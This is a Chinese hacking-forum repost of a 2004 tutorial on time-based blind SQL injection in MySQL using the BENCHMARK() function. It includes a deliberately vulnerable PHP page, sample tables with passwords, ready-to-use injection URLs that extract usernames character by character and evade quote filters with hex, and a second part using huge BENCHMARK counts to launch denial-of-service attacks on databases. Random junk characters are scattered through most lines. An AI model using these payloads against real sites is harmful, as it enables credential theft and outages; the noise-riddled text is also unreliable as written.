找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1960|回复: 0
打印 上一主题 下一主题

MYSQL中BENCHMARK函数的利用

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:03:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
MYSQL中BENCHMARK函数的利用 # d& S* ?' \; G: D+ g4 a1 v
本文作者:SuperHei4 Z2 I/ h+ R  V3 A9 [! f
文章性质:原创
1 E9 o3 M1 q8 l8 h6 p+ m$ t8 P2 S' T发布日期:2005-01-02
2 G0 A" `/ u0 L/ B3 O完成日期:2004-07-09
6 S4 w1 L# T/ p& a: o: W3 M5 _第一部
4 T. O3 }, I" M* Q, c! [) H+ g+ Q/ ~
. v. i& u7 {# Q9 `利用时间推延进行注射---BENCHMARK函数在注射中的利用 & k% R. q. A6 ^. g+ A; p3 g1 d, e
3 B0 C  m* C! A( O
一.前言/思路
  I) Q4 w8 o0 C. M% D& O  l
7 |" ~7 K1 Z* I# Z; k% v' o  如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。
. s$ Z' D( w9 F- n. n$ O4 u: T) \5 Y6 Q) q, B
  本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。6 i" t6 R2 J5 A+ P" @+ s

* C' E3 f$ M9 d' Q) G* I# I二.关于BENCHMARK函数
5 }* |4 p! W7 j% A0 u# p% M5 P8 V1 C2 |) o
  在MySQL参考手册里可以看到如下描叙: 8 D6 f/ q- e+ k' X- Z7 H6 ?' E0 P2 G
. k* G) A0 U$ a' y( F8 T* ]

0 j6 O4 p, a3 [9 D8 i--------------------------------------------------------------------------------2 W% ^# g3 w! Z3 f8 ^$ O

2 [1 v. f/ M/ n+ rBENCHMARK(count,expr)
. Y8 |7 S' k- c5 ^$ R$ EBENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。 . ]' \2 E* ~/ P% n& \  e
mysql> select BENCHMARK(1000000,encode("hello","goodbye")); ' B. O# Q2 X! P* K1 z
+----------------------------------------------+
/ v* S, V9 a; ~  ~5 C5 x, k| BENCHMARK(1000000,encode("hello","goodbye")) | 7 Y, j! d9 ]  A. w8 A' a* k
+----------------------------------------------+
  M4 e! Z$ y" v: \| 0 | - P, G" m% H1 s- F; \
+----------------------------------------------+ - L/ [  f/ s; z9 _; h" }
1 row in set (4.74 sec)
1 j4 h* `5 N# T  B
6 u8 m/ z, ~! \报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。( D4 _7 k$ {) g2 ]' e2 \, v, A( c. n
* M8 X: f! S; X9 Y: V- e! y: \

; L% Q. X0 _# m% s% Y- p3 k--------------------------------------------------------------------------------
8 \& B' i+ h3 o6 y( K6 {" \* `3 P4 ~( B1 e2 d& R. V% x" S
  只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果: ! O& \! d3 p4 L4 M

6 [. Q# k/ v4 ~# M3 Lmysql> select md5( 'test' );
, e. j% _+ R5 O8 `. }0 t+----------------------------------+
+ {) L( B! \8 t: e  f3 K! }# N| md5( 'test' ) | ' B0 K" H# Q; u& o
+----------------------------------+ 1 E9 \4 U% ~2 V; A& [" W
| 098f6bcd4621d373cade4e832627b4f6 |
" b8 v& Y3 b, |+ g/ u; g( n+----------------------------------+
# a  k+ H& {$ R3 @- j4 V3 i1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec ) m7 d1 t/ Y/ V9 n+ H

: j  l+ u' d. ?+ Amysql> select benchmark( 500000, md5( 'test' ) );
) Y/ A5 U" W, A4 }: S5 C. \+------------------------------------+
7 t4 Z" i  C' v9 C| benchmark( 500000, md5( 'test' ) ) |
2 D; U  Y8 a. l5 x+------------------------------------+
. x0 O( Q# P" c7 \6 i$ u| 0 | 8 ?3 ^! N" Q$ x
+------------------------------------+ 4 ?/ _- ?, l) ]' B2 m3 K
1 row in set (6.55 sec) 〈------------执行时间为6.55 sec
: n& j4 `9 C7 e7 u6 D8 r
) y* i1 J5 x8 u2 J+ U( q" O7 m: ^9 V6 u/ d
  由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。 ) }: n1 G* s# d8 z8 S- ?1 x

& g" r* ]; A3 p( o! u9 [8 s- e. G/ ]三.具体例子
# u/ q' b/ A) E) [& _; t+ \6 |. A7 k( h: ]$ o/ {, G8 A  u
  首先我们看个简单的php代码:2 q8 ]8 h: \9 M8 Y. m7 C
2 @  T3 |- A1 h3 `" c/ j# A% V1 Y7 q
< ?php 2 n% [0 o( d0 N; ^9 R# T
$servername = "localhost"; ( z0 Z; c" Y  V/ X7 `# ~
$dbusername = "root";
2 E& y6 W3 c/ @! f' j9 s. t$dbpassword = ""; 2 ?# e, M. I/ E# R2 b
$dbname = "injection"; / Q/ I- x* y; g- P- _/ d

& {- V' f/ u1 Q5 g- E- Dmysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
8 v5 d( N) q3 U, V! h  B& B% p7 z- i
$sql = "SELECT * FROM article WHERE articleid=$id";
- c& t8 X4 a$ g/ V/ a9 h$result = mysql_db_query($dbname,$sql);
) W' `4 V* g; V6 \- r! o$row = mysql_fetch_array($result);
! Q, w  x  M. D; j* B" A- X7 H' ]1 F) e: Z5 z/ \" O* e
if (!$row)
* W" d2 P9 \* X. e3 ]{
8 J; F* c3 b/ v/ gexit;
$ k" Z6 V9 o+ z' ~$ O}
3 Q4 w$ y7 z. j4 V1 j5 s' U?>2 G' }/ v. `: R* x& w! o! T) m) H0 W
. _! u0 d% O. a
5 X: m5 _# i0 j- v  E# U
  数据库injection结构和内容如下:
, g) r# t3 X5 b# c
0 M( R' E6 r# A9 M# 数据库 : `injection`
4 H( c% |8 d, t! u+ A6 n! K. r( l# I  B# ! I7 i' B- J) x& p0 h/ P1 Z

! \# K" D: }( U1 c7 V# --------------------------------------------------------
/ b/ L$ A: F/ D  C: E6 u# s! ]4 X6 D8 @+ p5 n3 P& v3 E* ^! M' B
# 2 V& Q8 a7 q. K- R5 u
# 表的结构 `article` + X* |/ N. g% z7 B* v% R' e
#
" H1 ^+ n" i$ H# l0 q' J$ l- |- g/ P6 B- e; F
CREATE TABLE `article` (
" O# ^" ]" f- [' i`articleid` int(11) NOT NULL auto_increment, $ K( M0 H0 d. Q3 n
`title` varchar(100) NOT NULL default '', / i; p6 c0 F3 ?( g0 O: t
`content` text NOT NULL, 8 N$ \1 |4 X) G
PRIMARY KEY (`articleid`) 5 c1 `8 b/ e0 w8 I% k& N- o: i
) TYPE=MyISAM AUTO_INCREMENT=3 ; 7 Z/ \1 E, ^/ y
# s- T* V1 Y* z5 V' P4 a
# 1 h& `' C$ k* G
# 导出表中的数据 `article` , K: X9 M' }9 y, |7 X
#
% g, L* l3 z0 u1 G) M9 ^8 C8 ]: D
INSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~'); ( Q4 a: J& `; c' A) K$ q. g
INSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊'); 9 O2 Q% a' Q  e, e! X

) l0 X# g- E" V9 n/ S# -------------------------------------------------------- . l  q9 a$ n& I" ]* t5 z+ `8 i

0 z# c6 D' g' i2 v# Y3 U- u) G#
) g( r. j. K' z% N# Q  j+ c# 表的结构 `user`
$ G; ^. t4 S$ l$ c9 k6 S#
8 h" {* R( H0 [. `8 D  F# X; b+ z, X: u, Z) l- [& b& N% J
CREATE TABLE `user` (
5 W' K# ]& O" j" ^; I`userid` int(11) NOT NULL auto_increment, ; L7 t! g" x5 Q* p8 x, r
`username` varchar(20) NOT NULL default '', 3 y; h  M: L: e. i8 S3 L" Z8 _: S
`password` varchar(20) NOT NULL default '',
3 c8 H* o, G- c  e" R" JPRIMARY KEY (`userid`)
1 w0 E) J* b. |" w: c0 Q! P* J) TYPE=MyISAM AUTO_INCREMENT=3 ;
' W$ \, v8 F, @( z4 A1 I2 C3 B. t* e. t
# - F4 y$ ^1 L4 b# o& A& y& D
# 导出表中的数据 `user` 5 r# U. g" z: a, Y* t
#
( U. F/ K: e9 M$ s: \1 p  f5 Z; J2 {7 c, f1 P, z
INSERT INTO `user` VALUES (1, 'angel', 'mypass');
: m: {0 {% k( |: }9 K8 E6 z" ^7 U) [INSERT INTO `user` VALUES (2, '4ngel', 'mypass2');  y, {& M3 E8 L3 C' b/ f7 z
* v+ ], D. |4 J: f% Z( C# r) ^

* L3 N8 w8 Q! x, J& ~, R  代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:! Q& u6 h- W8 y8 r: `* T/ T& W" ~4 G
  Q: t, A, P  H8 j( W- {
id=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*% |. ^- }) s$ q1 Z/ k4 ~- |

* K8 k$ m$ B3 g  N- C4 g( ~! f8 {2 l5 I) r- `
  上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:
# i: w+ F+ c- B- k+ O/ P: w9 M) B
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/** r' r7 P- h. }. V6 T

/ o1 R5 e( v1 y' B# ^8 o5 V3 q9 n5 z9 w* l
  执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。 5 M, R0 i$ K+ H2 ^; t! Y
: j, ]! \+ U3 C) c9 j7 ?
  注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。 4 I8 e4 O5 g4 e- [9 n

4 B8 A$ }1 ~: G2 R# k! p第二部! h: ?7 N+ x3 e4 S% b

0 \3 V8 ?6 J* d利用BENCHMARK函数进行ddos攻击
8 V- k8 Z, w, ~/ Y7 t9 g( N
, B# e& s' ~3 o5 e8 D  F  其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:
  Z+ G5 _/ f% }0 D& X% f/ X
- k  v% `+ Y4 z- k+ qhttp://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))
8 A; k5 p1 N3 U % g: n" O2 I* ]0 g4 F

3 r1 V% K; Q: j3 V# O) G小结
7 G7 ^2 n* U7 a" f4 |8 X2 `8 b# }' D3 Y8 n% T* |* l6 J6 x7 N- u
  本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。
9 m7 K8 y+ D& Z; X2 I* J4 [ % V; B  s: G+ Z- E/ W4 b* j% A4 f6 l0 C
  9 x+ w$ _6 L- O6 Y& ]% i
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表